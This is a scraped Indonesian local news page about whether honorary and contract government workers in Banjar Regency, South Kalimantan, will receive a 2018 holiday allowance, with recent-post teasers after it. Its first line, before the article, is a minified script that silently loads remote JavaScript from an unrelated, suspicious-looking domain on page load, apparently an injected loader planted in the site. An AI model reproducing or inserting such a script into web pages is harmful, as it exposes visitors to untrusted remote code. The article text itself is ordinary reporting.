(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

THR Tenaga Honorer dan Kontrak Pemkab Banjar Masih dalam Pembahasan


MARTAPURA, Ketika Tunjangan Hari Raya (THR) Ribuan PNS di Kabupaten Banjar sudah di depan mata, lantas bagaimana nasib bagi tenaga honorer dan kontrak? Mengingat, anggaran tersebut tidak tercantum dalam Anggaran Pendapatan dan Belanja Daerah (APBD) Kalsel 2018.

Berdasarkan data yang dihimpun Kanalkalimantan.com, ada sebanyak 6.000 PNS di Kabupaten Banjar akan menerima THR yang akan dibayarkan sekitar tanggal 5 dan 6 Juni nanti. Sementara menyangkut nasib para tenaga honorer dan kontrak, Bupati Banjar KH Khalilurrahman mengatakan masih merapatkan dan mendiskusikan hal tersebut.

“Ya akan kita bicarakan lagi,” ujarnya usai rapat paripurna di DPRD Banjar, Senin (28/5) lalu.

Di sisi lain, Ketua DPRD Kabupaten Banjar H Rusli S. AP, MM. mengatakan, masib tenaga honorer dan kontrak mestinya juga harus diperhatikan. Menurutnya, jika anggarannya tersedia dan bisa diberikan, tidak mustahil THR akan diberikan berdasarkan satu bulan gaji.

“Berdasarkan intruksi menteri ketika seusai rapat paripurna di DPRD Kabupaten Banjar sedikit bicara mengatakan pihaknya masih akan membicarakan keuangan, selama itu tidak menyalahi aturan ya apa salahnya, jika anggarannya ada ya perlu lah untuk diberikan. Namun ingat, balik lagi pada kebijakan daerah,” ungkapnya.

Ditempat yang berbeda Badan Keuangan Daerah Provinsi Kalsel sehari sebelumnya juga mengharapkan Kepala Satuan Kerja Perangkat Daerah (SKPD) membijaksanai alokasi dana Tunjangan Hari Raya (THR) bagi tenaga honorer dan kontrak. Mengingat, anggaran tersebut tidak tercantum dalam Anggaran Pendapatan dan Belanja Daerah (APBD) Kalsel 2018.

Kepala Bakeuda Kalsel Aminuddin Latief mengatakan, pemprov pada APBD 2018 hanya menyediakan THR untuk seluruh ASN di Kalsel. Sedangkan honorer dan kontrak tidak dialokasikan. “Dengan demikian, bagi karyawan pemprov Kalsel di luar aparatur sipil negara dipastikan tidak mendapatkan THR sebagaimana dengan rekannya yang bekerja di instansi pemerintah pusat. Maka diimbau  Kepala SKPD untuk bisa membijaksanai THR tersebut,” terangnya.

THR untuk karyawan non ASN di lembaga pemerintahan sejak tahun lalu tidak terakomodir paa APBD. Sehingga kebijkan memberikan bantuan merupakan kebijakan masing-masing institusi. (rendy)

Reporter : Rendy
Editor : Chell

Desy Arfianty

Recent Posts

Permudah Kebutuhan Transaksi Jemaah Haji di Tanah Suci dengan BRImo

KANALKALIMANTAN.COM- Ibadah haji merupakan salah satu impian bagi umat Islam di seluruh dunia. Agar ibadah… Read More

11 menit ago

Bawaslu Banjarbaru Seleksi Panwascam Hanya di Empat Kecamatan

KANALKALIMANTAN.COM, BANJARBARU - Badan Pengawas Pemilihan Umum (Bawaslu) Kota Banjarbaru tengah merekrut Panitia Pengawas Kecamatan… Read More

31 menit ago

Pemko Banjarbaru Bentuk Tim Desk Pilkada 2024

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru Provinsi Kalimantan Selatan (Kalsel) membentuk Tim Desk Pilkada… Read More

2 jam ago

Jelang Pilkada 2024, KPU HSU Melantik 50 Anggota PPK

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) resmi melantik 50… Read More

3 jam ago

Pipa Bocor, Suplai Air Bersih di Banjarmasin Barat dan Tengah Terhenti

KANALKALIMANTAN.COM, BANJARMASIN - Pipa distribusi air bersih milik Perusahaan Air Minum (PAM) Bandarmasih di wilayah… Read More

5 jam ago

DED Pemasangan ATCS Tugu Adipura Masih Penyempurnaan Kajian

Kadishub Banjarbaru: Setelah Kajian Selesai, Berikutnya Perizinan BPJN dan BPTD Read More

5 jam ago

This website uses cookies.